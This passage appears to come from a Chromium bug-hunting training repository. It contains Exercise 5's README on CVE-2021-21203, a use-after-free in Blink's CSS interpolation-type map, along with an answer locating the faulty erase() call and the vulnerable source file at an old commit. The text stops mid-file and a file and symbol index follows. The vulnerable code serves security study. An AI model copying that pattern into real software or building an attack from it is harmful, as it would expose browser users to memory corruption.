  if (Scrollbar* vertical_scrollbar = scrollable_area_->VerticalScrollbar()) {
    vertical_scrollbar->SetNeedsPaintInvalidation(kAllParts);

    ScrollbarPainter old_vertical_painter =
        [scrollbar_painter_controller_ verticalScrollerImp];
    ScrollbarPainter new_vertical_painter = [NSClassFromString(@"NSScrollerImp")
        scrollerImpWithStyle:new_style
                 controlSize:NSRegularControlSize
                  horizontal:NO
        replacingScrollerImp:old_vertical_painter];
    [old_vertical_painter setDelegate:nil];
    [new_vertical_painter setDelegate:vertical_scrollbar_painter_delegate_];
    [scrollbar_painter_controller_ setVerticalScrollerImp:new_vertical_painter];
    mac_theme->SetNewPainterForScrollbar(*vertical_scrollbar,
                                         new_vertical_painter);

    // The different scrollbar styles have different thicknesses, so we must
    // re-set the frameRect to the new thickness, and the re-layout below will
    // ensure the offset and length are properly updated.
    int thickness =
        mac_theme->ScrollbarThickness(vertical_scrollbar->ScaleFromDIP());
    vertical_scrollbar->SetFrameRect(IntRect(0, 0, thickness, thickness));
  }

  if (Scrollbar* horizontal_scrollbar =
          scrollable_area_->HorizontalScrollbar()) {
    horizontal_scrollbar->SetNeedsPaintInvalidation(kAllParts);

    ScrollbarPainter old_horizontal_painter =
        [scrollbar_painter_controller_ horizontalScrollerImp];
    ScrollbarPainter new_horizontal_painter =
        [NSClassFromString(@"NSScrollerImp")
            scrollerImpWithStyle:new_style
                     controlSize:NSRegularControlSize
                      horizontal:YES
            replacingScrollerImp:old_horizontal_painter];
    [old_horizontal_painter setDelegate:nil];
    [new_horizontal_painter setDelegate:horizontal_scrollbar_painter_delegate_];
    [scrollbar_painter_controller_
        setHorizontalScrollerImp:new_horizontal_painter];
    mac_theme->SetNewPainterForScrollbar(*horizontal_scrollbar,
                                         new_horizontal_painter);

    // The different scrollbar styles have different thicknesses, so we must
    // re-set the
    // frameRect to the new thickness, and the re-layout below will ensure the
    // offset
    // and length are properly updated.
    int thickness =
        mac_theme->ScrollbarThickness(horizontal_scrollbar->ScaleFromDIP());
    horizontal_scrollbar->SetFrameRect(IntRect(0, 0, thickness, thickness));
  }
}

void MacScrollbarAnimatorImpl::StartScrollbarPaintTimer() {
  // Post a task with 1 ms delay to give a chance to run other immediate tasks
  // that may cancel this.
  initial_scrollbar_paint_task_handle_ = PostDelayedCancellableTask(
      *task_runner_, FROM_HERE,
      WTF::Bind(&MacScrollbarAnimatorImpl::InitialScrollbarPaintTask,
                WrapWeakPersistent(this)),
      base::TimeDelta::FromMilliseconds(1));
}

bool MacScrollbarAnimatorImpl::ScrollbarPaintTimerIsActive() const {
  return initial_scrollbar_paint_task_handle_.IsActive();
}

void MacScrollbarAnimatorImpl::StopScrollbarPaintTimer() {
  initial_scrollbar_paint_task_handle_.Cancel();
}

void MacScrollbarAnimatorImpl::InitialScrollbarPaintTask() {
  // To force the scrollbars to flash, we have to call hide first. Otherwise,
  // the ScrollbarPainterController
  // might think that the scrollbars are already showing and bail early.
  [scrollbar_painter_controller_ hideOverlayScrollers];
  [scrollbar_painter_controller_ flashScrollers];
}

void MacScrollbarAnimatorImpl::DidChangeUserVisibleScrollOffset(
    const ScrollOffset& delta) {
  content_area_scrolled_timer_scroll_delta_ = delta;

  if (send_content_area_scrolled_task_handle_.IsActive())
    return;
  send_content_area_scrolled_task_handle_ = PostCancellableTask(
      *task_runner_, FROM_HERE,
      WTF::Bind(&MacScrollbarAnimatorImpl::SendContentAreaScrolledTask,
                WrapWeakPersistent(this)));
}

void MacScrollbarAnimatorImpl::SendContentAreaScrolledTask() {
  if (SupportsContentAreaScrolledInDirection()) {
    [scrollbar_painter_controller_
        contentAreaScrolledInDirection:
            NSMakePoint(content_area_scrolled_timer_scroll_delta_.Width(),
                        content_area_scrolled_timer_scroll_delta_.Height())];
    content_area_scrolled_timer_scroll_delta_ = ScrollOffset();
  } else
    [scrollbar_painter_controller_ contentAreaScrolled];
}

MacScrollbarAnimator* MacScrollbarAnimator::Create(
    ScrollableArea* scrollable_area) {
  return MakeGarbageCollected<MacScrollbarAnimatorImpl>(
      const_cast<ScrollableArea*>(scrollable_area));
}
}  // namespace blink


================================================
FILE: LEVEL_1/exercise_5/README.md
================================================
# Exercise 5

##  CVE-2021-21203
I sugget you don't search any report about it to prevents get too much info like patch.

This time we do it by code audit

### Details

> Don't erase InterpolationTypes used by other documents
>
> A registered custom property in one document caused the entry for the
> same custom property (unregistered) used in another document to be
> deleted, which caused a use-after-free.
>
> Only store the CSSDefaultInterpolationType for unregistered custom
> properties and never store registered properties in the map. They may
> have different types in different documents when registered.

You can read [this](https://chromium.googlesource.com/chromium/src/+/af77c20371d1418300cefbc5fa6779067b7792cf/third_party/blink/renderer/core/animation/#core_animation) to know what about `animation`



---------

<details>
  <summary>For more info click me! But you'd better not do this</summary>

  https://bugs.chromium.org/p/chromium/issues/detail?id=1192054

</details>

--------

### Set environment

Just like exercise_4, we need chromium. I recomend you do as [offical gudience](https://chromium.googlesource.com/chromium/src/+/refs/heads/main/docs/linux/build_instructions.md). If you have installed `depot_tools` ago, you just need `fetch chromium`.

When you finish the above
```sh
git reset --hard 7e5707cc5f46b0155b9e42b121c8e2128c05f178 
```

### Related code
we can analysis the source file [online](https://chromium.googlesource.com/chromium/src/+/af77c20371d1418300cefbc5fa6779067b7792cf/third_party/blink/renderer/core/animation/css_interpolation_types_map.cc) or offline.

This time you need to analysis entire file [`third_party/blink/renderer/core/animation/css_interpolation_types_map.cc`](https://source.chromium.org/chromium/chromium/src/+/af77c20371d1418300cefbc5fa6779067b7792cf:third_party/blink/renderer/core/animation/css_interpolation_types_map.cc), this bug can be easily found if you read `Details` carefully ;)

### Do it
Do this exercise by yourself, If you find my answer have something wrong, please correct it.


---------

<details>
  <summary>My answer</summary>

  `Details` has clearly told us the cause of the vulnerability. **A registered custom property in one document caused the entry for the same custom property (unregistered) used in another document to be deleted, which caused a use-after-free**
  This mean if we register a `custom property` and then the `entry` of the same `custom property` in another document which `unregistered` will be deleted by `erase`.
  ```c++
  const InterpolationTypes& CSSInterpolationTypesMap::Get(
    const PropertyHandle& property) const {
  using ApplicableTypesMap =
      HashMap<PropertyHandle, std::unique_ptr<const InterpolationTypes>>;  
  // TODO(iclelland): Combine these two hashmaps into a single map on
  // std::pair<bool,property>
  DEFINE_STATIC_LOCAL(ApplicableTypesMap, all_applicable_types_map, ());
  DEFINE_STATIC_LOCAL(ApplicableTypesMap, composited_applicable_types_map, ());

  ApplicableTypesMap& applicable_types_map =
      allow_all_animations_ ? all_applicable_types_map
                            : composited_applicable_types_map;

  auto entry = applicable_types_map.find(property);               [1] find entry (HashMap)
  bool found_entry = entry != applicable_types_map.end();

  // Custom property interpolation types may change over time so don't trust the
  // applicableTypesMap without checking the registry.
  if (registry_ && property.IsCSSCustomProperty()) {
    const auto* registration = GetRegistration(registry_, property);  [2] registr
    if (registration) {
      if (found_entry) {
        applicable_types_map.erase(entry);          [3] delete entry
      }
      return registration->GetInterpolationTypes();
    }
  }

  if (found_entry) {
    return *entry->value;
  }
  [ ... ]
  ============================================================================
  static const PropertyRegistration* GetRegistration(
    const PropertyRegistry* registry,
    const PropertyHandle& property) {
    DCHECK(property.IsCSSCustomProperty());
    if (!registry) {
      return nullptr;
    }
    return registry->Registration(property.CustomPropertyName());
  }
  ```

</details>

--------



================================================
FILE: LEVEL_1/exercise_5/css_interpolation_types_map.cc
================================================
// Copyright 2016 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#include "third_party/blink/renderer/core/animation/css_interpolation_types_map.h"

#include <memory>
#include <utility>

#include "third_party/blink/public/mojom/feature_policy/feature_policy_feature.mojom-blink.h"
#include "third_party/blink/renderer/core/animation/css_angle_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_aspect_ratio_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_basic_shape_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_border_image_length_box_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_clip_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_color_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_custom_length_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_custom_list_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_default_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_filter_list_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_font_size_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_font_stretch_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_font_variation_settings_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_font_weight_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_image_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_image_list_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_image_slice_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_length_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_length_list_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_length_pair_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_number_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_offset_rotate_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_paint_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_path_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_percentage_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_position_axis_list_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_position_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_ray_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_resolution_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_rotate_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_scale_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_shadow_list_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_size_list_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_text_indent_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_time_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_transform_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_transform_origin_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_translate_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_var_cycle_interpolation_type.h"
#include "third_party/blink/renderer/core/animation/css_visibility_interpolation_type.h"
#include "third_party/blink/renderer/core/css/css_property_names.h"
#include "third_party/blink/renderer/core/css/css_syntax_definition.h"
#include "third_party/blink/renderer/core/css/properties/css_property.h"
#include "third_party/blink/renderer/core/css/property_registry.h"
#include "third_party/blink/renderer/core/feature_policy/layout_animations_policy.h"
#include "third_party/blink/renderer/core/frame/local_frame.h"

namespace blink {

CSSInterpolationTypesMap::CSSInterpolationTypesMap(
    const PropertyRegistry* registry,
    const Document& document)
    : registry_(registry) {
  allow_all_animations_ = document.GetExecutionContext()->IsFeatureEnabled(
      blink::mojom::blink::DocumentPolicyFeature::kLayoutAnimations);
}

static const PropertyRegistration* GetRegistration(
    const PropertyRegistry* registry,
    const PropertyHandle& property) {
  DCHECK(property.IsCSSCustomProperty());
  if (!registry) {
    return nullptr;
  }
  return registry->Registration(property.CustomPropertyName());
}

const InterpolationTypes& CSSInterpolationTypesMap::Get(
    const PropertyHandle& property) const {
  using ApplicableTypesMap =
      HashMap<PropertyHandle, std::unique_ptr<const InterpolationTypes>>;
  // TODO(iclelland): Combine these two hashmaps into a single map on
  // std::pair<bool,property>
  DEFINE_STATIC_LOCAL(ApplicableTypesMap, all_applicable_types_map, ());
  DEFINE_STATIC_LOCAL(ApplicableTypesMap, composited_applicable_types_map, ());

  ApplicableTypesMap& applicable_types_map =
      allow_all_animations_ ? all_applicable_types_map
                            : composited_applicable_types_map;

  auto entry = applicable_types_map.find(property);
  bool found_entry = entry != applicable_types_map.end();

  // Custom property interpolation types may change over time so don't trust the
  // applicableTypesMap without checking the registry.
  if (registry_ && property.IsCSSCustomProperty()) {
    const auto* registration = GetRegistration(registry_, property);
    if (registration) {
      if (found_entry) {
        applicable_types_map.erase(entry);
      }
      return registration->GetInterpolationTypes();
    }
  }

  if (found_entry) {
    return *entry->value;
  }

  std::unique_ptr<InterpolationTypes> applicable_types =
      std::make_unique<InterpolationTypes>();

  const CSSProperty& css_property = property.IsCSSProperty()
                                        ? property.GetCSSProperty()
                                        : property.PresentationAttribute();
  // We treat presentation attributes identically to their CSS property
  // equivalents when interpolating.
  PropertyHandle used_property =
      property.IsCSSProperty() ? property : PropertyHandle(css_property);
  // TODO(crbug.com/838263): Support site-defined list of acceptable properties
  // through feature policy declarations.
  bool property_maybe_blocked_by_feature_policy =
      LayoutAnimationsPolicy::AffectedCSSProperties().Contains(&css_property);
  if (allow_all_animations_ || !property_maybe_blocked_by_feature_policy) {
    switch (css_property.PropertyID()) {
      case CSSPropertyID::kBaselineShift:
      case CSSPropertyID::kBorderBottomWidth:
      case CSSPropertyID::kBorderLeftWidth:
      case CSSPropertyID::kBorderRightWidth:
      case CSSPropertyID::kBorderTopWidth:
      case CSSPropertyID::kBottom:
      case CSSPropertyID::kCx:
      case CSSPropertyID::kCy:
      case CSSPropertyID::kFlexBasis:
      case CSSPropertyID::kHeight:
      case CSSPropertyID::kLeft:
      case CSSPropertyID::kLetterSpacing:
      case CSSPropertyID::kMarginBottom:
      case CSSPropertyID::kMarginLeft:
      case CSSPropertyID::kMarginRight:
      case CSSPropertyID::kMarginTop:
      case CSSPropertyID::kMaxHeight:
      case CSSPropertyID::kMaxWidth:
      case CSSPropertyID::kMinHeight:
      case CSSPropertyID::kMinWidth:
      case CSSPropertyID::kOffsetDistance:
      case CSSPropertyID::kOutlineOffset:
      case CSSPropertyID::kOutlineWidth:
      case CSSPropertyID::kPaddingBottom:
      case CSSPropertyID::kPaddingLeft:
      case CSSPropertyID::kPaddingRight:
      case CSSPropertyID::kPaddingTop:
      case CSSPropertyID::kPerspective:
      case CSSPropertyID::kR:
      case CSSPropertyID::kRight:
      case CSSPropertyID::kRx:
      case CSSPropertyID::kRy:
      case CSSPropertyID::kShapeMargin:
      case CSSPropertyID::kStrokeDashoffset:
      case CSSPropertyID::kStrokeWidth:
      case CSSPropertyID::kTextDecorationThickness:
      case CSSPropertyID::kTextUnderlineOffset:
      case CSSPropertyID::kTop:
      case CSSPropertyID::kVerticalAlign:
      case CSSPropertyID::kWebkitBorderHorizontalSpacing:
      case CSSPropertyID::kWebkitBorderVerticalSpacing:
      case CSSPropertyID::kColumnGap:
      case CSSPropertyID::kRowGap:
      case CSSPropertyID::kColumnRuleWidth:
      case CSSPropertyID::kColumnWidth:
      case CSSPropertyID::kWebkitPerspectiveOriginX:
      case CSSPropertyID::kWebkitPerspectiveOriginY:
      case CSSPropertyID::kWebkitTransformOriginX:
      case CSSPropertyID::kWebkitTransformOriginY:
      case CSSPropertyID::kWebkitTransformOriginZ:
      case CSSPropertyID::kWidth:
      case CSSPropertyID::kWordSpacing:
      case CSSPropertyID::kX:
      case CSSPropertyID::kY:
        applicable_types->push_back(
            std::make_unique<CSSLengthInterpolationType>(used_property));
        break;
      case CSSPropertyID::kAspectRatio:
        applicable_types->push_back(
            std::make_unique<CSSAspectRatioInterpolationType>(used_property));
        break;
      case CSSPropertyID::kFlexGrow:
      case CSSPropertyID::kFlexShrink:
      case CSSPropertyID::kFillOpacity:
      case CSSPropertyID::kFloodOpacity:
      case CSSPropertyID::kFontSizeAdjust:
      case CSSPropertyID::kOpacity:
      case CSSPropertyID::kOrder:
      case CSSPropertyID::kOrphans:
      case CSSPropertyID::kShapeImageThreshold:
      case CSSPropertyID::kStopOpacity:
      case CSSPropertyID::kStrokeMiterlimit:
      case CSSPropertyID::kStrokeOpacity:
      case CSSPropertyID::kColumnCount:
      case CSSPropertyID::kTextSizeAdjust:
      case CSSPropertyID::kWidows:
      case CSSPropertyID::kZIndex:
        applicable_types->push_back(
            std::make_unique<CSSNumberInterpolationType>(used_property));
        break;
      case CSSPropertyID::kLineHeight:
      case CSSPropertyID::kTabSize:
        applicable_types->push_back(
            std::make_unique<CSSLengthInterpolationType>(used_property));
        applicable_types->push_back(
            std::make_unique<CSSNumberInterpolationType>(used_property));
        break;
      case CSSPropertyID::kBackgroundColor:
      case CSSPropertyID::kBorderBottomColor:
      case CSSPropertyID::kBorderLeftColor:
      case CSSPropertyID::kBorderRightColor:
      case CSSPropertyID::kBorderTopColor:
      case CSSPropertyID::kCaretColor:
      case CSSPropertyID::kColor:
      case CSSPropertyID::kFloodColor:
      case CSSPropertyID::kLightingColor:
      case CSSPropertyID::kOutlineColor:
      case CSSPropertyID::kStopColor:
      case CSSPropertyID::kTextDecorationColor:
      case CSSPropertyID::kColumnRuleColor:
      case CSSPropertyID::kWebkitTextStrokeColor:
        applicable_types->push_back(
            std::make_unique<CSSColorInterpolationType>(used_property));
        break;
      case CSSPropertyID::kFill:
      case CSSPropertyID::kStroke:
        applicable_types->push_back(
            std::make_unique<CSSPaintInterpolationType>(used_property));
        break;
      case CSSPropertyID::kOffsetPath:
        applicable_types->push_back(
            std::make_unique<CSSRayInterpolationType>(used_property));
        FALLTHROUGH;
      case CSSPropertyID::kD:
        applicable_types->push_back(
            std::make_unique<CSSPathInterpolationType>(used_property));
        break;
      case CSSPropertyID::kBoxShadow:
      case CSSPropertyID::kTextShadow:
        applicable_types->push_back(
            std::make_unique<CSSShadowListInterpolationType>(used_property));
        break;
      case CSSPropertyID::kBorderImageSource:
      case CSSPropertyID::kListStyleImage:
      case CSSPropertyID::kWebkitMask
Download .txt
gitextract_pvp47mds/

├── LEVEL_1/
│   ├── README.md
│   ├── exercise_1/
│   │   ├── Buffer11.cpp
│   │   ├── README.md
│   │   └── poc.html
│   ├── exercise_2/
│   │   ├── README.md
│   │   └── VertexArray11.cpp
│   ├── exercise_3/
│   │   ├── IndexDataManager.cpp
│   │   ├── README.md
│   │   └── poc.html
│   ├── exercise_4/
│   │   ├── README.md
│   │   └── mac_scrollbar_animator_impl.mm
│   ├── exercise_5/
│   │   ├── README.md
│   │   ├── css_interpolation_types_map.cc
│   │   └── poc.html
│   ├── exercise_6/
│   │   ├── README.md
│   │   ├── animatable.cc
│   │   ├── effect_input.cc
│   │   ├── keyframe_effect.cc
│   │   └── poc.html
│   └── exercise_7/
│       ├── README.md
│       ├── marker.cc
│       └── marking-state.h
├── LEVEL_2/
│   ├── README.md
│   ├── exercise_1/
│   │   ├── README.md
│   │   └── text_searcher_icu.cc
│   ├── exercise_2/
│   │   ├── README.md
│   │   └── visible_units.cc
│   ├── exercise_3/
│   │   ├── README.md
│   │   ├── deflate_transformer.cc
│   │   └── inflate_transformer.cc
│   ├── exercise_4/
│   │   ├── README.md
│   │   └── tab_strip_model.cc
│   ├── exercise_5/
│   │   ├── README.md
│   │   ├── tab_drag_controller.cc
│   │   ├── tab_drag_controller.h
│   │   ├── tab_strip_model.cc
│   │   └── tab_strip_model.h
│   ├── exercise_6/
│   │   ├── README.md
│   │   └── pdfium_page.cc
│   └── exercise_7/
│       ├── README.md
│       └── webgl_rendering_context_base.cc
├── LEVEL_3/
│   ├── README.md
│   ├── exercise_1/
│   │   ├── README.md
│   │   ├── navigation_predictor.cc
│   │   └── navigation_predictor.h
│   ├── exercise_2/
│   │   ├── README.md
│   │   ├── representation-change.cc
│   │   └── representation-change.h
│   ├── exercise_3/
│   │   ├── README.md
│   │   ├── node_channel.cc
│   │   ├── node_channel.h
│   │   └── user_message_impl.cc
│   ├── exercise_4/
│   │   ├── README.md
│   │   └── receiver_set.h
│   ├── exercise_5/
│   │   ├── README.md
│   │   └── page_handler.cc
│   ├── exercise_6/
│   │   ├── README.md
│   │   ├── ipc_message_pipe_reader.cc
│   │   ├── pickle.cc
│   │   └── pickle.h
│   └── exercise_7/
│       └── README.md
├── README.md
└── Template.md
Download .txt
SYMBOL INDEX (575 symbols across 32 files)

FILE: LEVEL_1/exercise_1/Buffer11.cpp
  type rx (line 19) | namespace rx
    function GLuint (line 24) | GLuint ReadIndexValueFromIndices(const uint8_t *data, size_t index)
    type CopyResult (line 29) | enum class CopyResult
    function CalculateConstantBufferParams (line 34) | void CalculateConstantBufferParams(GLintptr offset,
    type gl_d3d11 (line 53) | namespace gl_d3d11
      function D3D11_MAP (line 55) | D3D11_MAP GetD3DMapTypeFromBits(BufferUsage usage, GLbitfield access)
    class Buffer11::BufferStorage (line 89) | class Buffer11::BufferStorage : angle::NonCopyable
      method DataRevision (line 93) | DataRevision getDataRevision() const { return mRevision; }
      method BufferUsage (line 94) | BufferUsage getUsage() const { return mUsage; }
      method getSize (line 95) | size_t getSize() const { return mBufferSize; }
      method setDataRevision (line 96) | void setDataRevision(DataRevision rev) { mRevision = rev; }
    class Buffer11::NativeStorage (line 126) | class Buffer11::NativeStorage : public Buffer11::BufferStorage
      method isGPUAccessible (line 132) | bool isGPUAccessible() const override { return true; }
    class Buffer11::StructuredBufferStorage (line 167) | class Buffer11::StructuredBufferStorage : public Buffer11::NativeStorage
    class Buffer11::EmulatedIndexedStorage (line 188) | class Buffer11::EmulatedIndexedStorage : public Buffer11::BufferStorage
      method isCPUAccessible (line 193) | bool isCPUAccessible(GLbitfield access) const override { return true; }
      method isGPUAccessible (line 194) | bool isGPUAccessible() const override { return false; }
    class Buffer11::PackStorage (line 220) | class Buffer11::PackStorage : public Buffer11::BufferStorage
      method isCPUAccessible (line 225) | bool isCPUAccessible(GLbitfield access) const override { return true; }
      method isGPUAccessible (line 226) | bool isGPUAccessible() const override { return false; }
    class Buffer11::SystemMemoryStorage (line 254) | class Buffer11::SystemMemoryStorage : public Buffer11::BufferStorage
      method isCPUAccessible (line 259) | bool isCPUAccessible(GLbitfield access) const override { return true; }
      method isGPUAccessible (line 260) | bool isGPUAccessible() const override { return false; }

FILE: LEVEL_1/exercise_2/VertexArray11.cpp
  type rx (line 20) | namespace rx
    function TranslatedIndexData (line 348) | const TranslatedIndexData &VertexArray11::getCachedIndexInfo() const

FILE: LEVEL_1/exercise_3/IndexDataManager.cpp
  type rx (line 21) | namespace rx
    function ConvertIndexArray (line 28) | void ConvertIndexArray(const void *input,
    function ConvertIndices (line 56) | void ConvertIndices(gl::DrawElementsType sourceType,
    function StreamInIndexBuffer (line 86) | angle::Result StreamInIndexBuffer(const gl::Context *context,
    function GetIndexTranslationDestType (line 283) | angle::Result GetIndexTranslationDestType(const gl::Context *context,

FILE: LEVEL_1/exercise_5/css_interpolation_types_map.cc
  type blink (line 58) | namespace blink {
    function PropertyRegistration (line 68) | static const PropertyRegistration* GetRegistration(
    function InterpolationTypes (line 78) | const InterpolationTypes& CSSInterpolationTypesMap::Get(
    function CreateInterpolationTypeForCSSSyntax (line 394) | static std::unique_ptr<CSSInterpolationType>
    function InterpolationTypes (line 445) | InterpolationTypes

FILE: LEVEL_1/exercise_6/animatable.cc
  type blink (line 26) | namespace blink {
    function ReportFeaturePolicyViolationsIfNecessary (line 32) | void ReportFeaturePolicyViolationsIfNecessary(
    function UnrestrictedDoubleOrKeyframeEffectOptions (line 46) | UnrestrictedDoubleOrKeyframeEffectOptions CoerceEffectOptions(
    function Animation (line 60) | Animation* Animatable::animate(
    function Animation (line 97) | Animation* Animatable::animate(ScriptState* script_state,

FILE: LEVEL_1/exercise_6/effect_input.cc
  type blink (line 60) | namespace blink {
    function ParseCompositeProperty (line 66) | Vector<base::Optional<EffectModel::CompositeOperation>> ParseComposite...
    function SetKeyframeValue (line 85) | void SetKeyframeValue(Element* element,
    function ValidatePartialKeyframes (line 134) | bool ValidatePartialKeyframes(const StringKeyframeVector& keyframes) {
    function ResolveCompositeOperationForKeyframe (line 186) | EffectModel::CompositeOperation ResolveCompositeOperationForKeyframe(
    function IsAnimatableKeyframeAttribute (line 198) | bool IsAnimatableKeyframeAttribute(const String& property,
    function AddPropertyValuePairsForKeyframe (line 218) | void AddPropertyValuePairsForKeyframe(
    function StringKeyframeVector (line 270) | StringKeyframeVector ConvertArrayForm(Element* element,
    function GetPropertyIndexedKeyframeValues (line 400) | bool GetPropertyIndexedKeyframeValues(const v8::Local<v8::Object>& key...
    function StringKeyframeVector (line 437) | StringKeyframeVector ConvertObjectForm(Element* element,
    function HasAdditiveCompositeCSSKeyframe (line 646) | bool HasAdditiveCompositeCSSKeyframe(
    function KeyframeEffectModelBase (line 663) | KeyframeEffectModelBase* EffectInput::Convert(
    function StringKeyframeVector (line 689) | StringKeyframeVector EffectInput::ParseKeyframesArgument(

FILE: LEVEL_1/exercise_6/keyframe_effect.cc
  type blink (line 57) | namespace blink {
    function ValidateAndCanonicalizePseudo (line 62) | bool ValidateAndCanonicalizePseudo(String& selector) {
    function KeyframeEffect (line 85) | KeyframeEffect* KeyframeEffect::Create(
    function KeyframeEffect (line 134) | KeyframeEffect* KeyframeEffect::Create(ScriptState* script_state,
    function KeyframeEffect (line 146) | KeyframeEffect* KeyframeEffect::Create(ScriptState* script_state,
    function String (line 189) | const String& KeyframeEffect::pseudoElement() const {
    function String (line 228) | String KeyframeEffect::composite() const {
    function CSSProperty (line 463) | const CSSProperty** TransformProperties() {
    function AnimationTimeDelta (line 655) | AnimationTimeDelta KeyframeEffect::CalculateTimeToEffectChange(
    function ActiveInterpolationsMap (line 742) | ActiveInterpolationsMap KeyframeEffect::InterpolationsForCommitStyles() {

FILE: LEVEL_1/exercise_7/marker.cc
  type cppgc (line 28) | namespace cppgc {
    type internal (line 29) | namespace internal {
      function EnterIncrementalMarkingIfNeeded (line 33) | bool EnterIncrementalMarkingIfNeeded(Marker::MarkingConfig config,
      function ExitIncrementalMarkingIfNeeded (line 47) | bool ExitIncrementalMarkingIfNeeded(Marker::MarkingConfig config,
      function VisitRememberedSlots (line 62) | void VisitRememberedSlots(HeapBase& heap,
      function ResetRememberedSet (line 84) | void ResetRememberedSet(HeapBase& heap) {
      function DrainWorklistWithBytesAndTimeDeadline (line 96) | bool DrainWorklistWithBytesAndTimeDeadline(MarkingStateBase& marking...
      function GetNextIncrementalStepDuration (line 109) | size_t GetNextIncrementalStepDuration(IncrementalMarkingSchedule& sc...

FILE: LEVEL_1/exercise_7/marking-state.h
  function namespace (line 19) | namespace cppgc {
  function MarkAndPush (line 182) | void MarkingStateBase::MarkAndPush(const void* object, TraceDescriptor d...
  function MarkAndPush (line 189) | void MarkingStateBase::MarkAndPush(HeapObjectHeader& header,
  function MarkNoPush (line 200) | bool MarkingStateBase::MarkNoPush(HeapObjectHeader& header) {
  function MarkAndPush (line 209) | void MarkingStateBase::MarkAndPush(HeapObjectHeader& header) {
  function PushMarked (line 216) | void MarkingStateBase::PushMarked(HeapObjectHeader& header,
  function RegisterWeakReferenceIfNeeded (line 225) | void MarkingStateBase::RegisterWeakReferenceIfNeeded(const void* object,
  function RegisterWeakCallback (line 240) | void MarkingStateBase::RegisterWeakCallback(WeakCallback callback,
  function RegisterWeakContainer (line 246) | void MarkingStateBase::RegisterWeakContainer(HeapObjectHeader& header) {
  function ProcessWeakContainer (line 250) | void MarkingStateBase::ProcessWeakContainer(const void* object,
  function ProcessEphemeron (line 286) | void MarkingStateBase::ProcessEphemeron(const void* key, const void* value,
  function AccountMarkedBytes (line 307) | void MarkingStateBase::AccountMarkedBytes(const HeapObjectHeader& header) {
  function AccountMarkedBytes (line 315) | void MarkingStateBase::AccountMarkedBytes(size_t marked_bytes) {
  function class (line 319) | class MutatorMarkingState : public MarkingStateBase {
  function ReTraceMarkedWeakContainer (line 364) | void MutatorMarkingState::ReTraceMarkedWeakContainer(cppgc::Visitor& vis...
  function DynamicallyMarkAddress (line 371) | void MutatorMarkingState::DynamicallyMarkAddress(ConstAddress address) {
  function InvokeWeakRootsCallbackIfNeeded (line 383) | void MutatorMarkingState::InvokeWeakRootsCallbackIfNeeded(
  function IsMarkedWeakContainer (line 396) | bool MutatorMarkingState::IsMarkedWeakContainer(HeapObjectHeader& header) {
  function Contains (line 404) | bool MutatorMarkingState::RecentlyRetracedWeakContainers::Contains(
  function Insert (line 411) | void MutatorMarkingState::RecentlyRetracedWeakContainers::Insert(
  function class (line 420) | class ConcurrentMarkingState : public MarkingStateBase {

FILE: LEVEL_2/exercise_1/text_searcher_icu.cc
  type blink (line 40) | namespace blink {
    function UStringSearch (line 44) | UStringSearch* CreateSearcher() {
    class ICULockableSearcher (line 60) | class ICULockableSearcher {
      method UStringSearch (line 64) | static UStringSearch* AcquireSearcher() {
      method ReleaseSearcher (line 69) | static void ReleaseSearcher() { Instance().unlock(); }
      method ICULockableSearcher (line 72) | static ICULockableSearcher& Instance() {
      method ICULockableSearcher (line 77) | explicit ICULockableSearcher(UStringSearch* searcher) : searcher_(se...
      method lock (line 79) | void lock() {
      method unlock (line 86) | void unlock() {
    function IsWholeWordMatch (line 104) | static bool IsWholeWordMatch(const UChar* text,

FILE: LEVEL_2/exercise_2/visible_units.cc
  type blink (line 66) | namespace blink {
    function PositionType (line 69) | static PositionType CanonicalizeCandidate(const PositionType& candidat...
    function PositionType (line 80) | static PositionType SnapFallbackTemplate(const PositionType& position) {
    function SnapBackwardTemplate (line 134) | static PositionWithAffinityTemplate<Strategy> SnapBackwardTemplate(
    function PositionWithAffinity (line 165) | PositionWithAffinity SnapBackward(const Position& position) {
    function PositionInFlatTreeWithAffinity (line 169) | PositionInFlatTreeWithAffinity SnapBackward(
    function SnapForwardTemplate (line 175) | static PositionWithAffinityTemplate<Strategy> SnapForwardTemplate(
    function PositionWithAffinity (line 206) | PositionWithAffinity SnapForward(const Position& position) {
    function PositionInFlatTreeWithAffinity (line 210) | PositionInFlatTreeWithAffinity SnapForward(const PositionInFlatTree& p...
    function Position (line 214) | Position CanonicalPositionOf(const Position& position) {
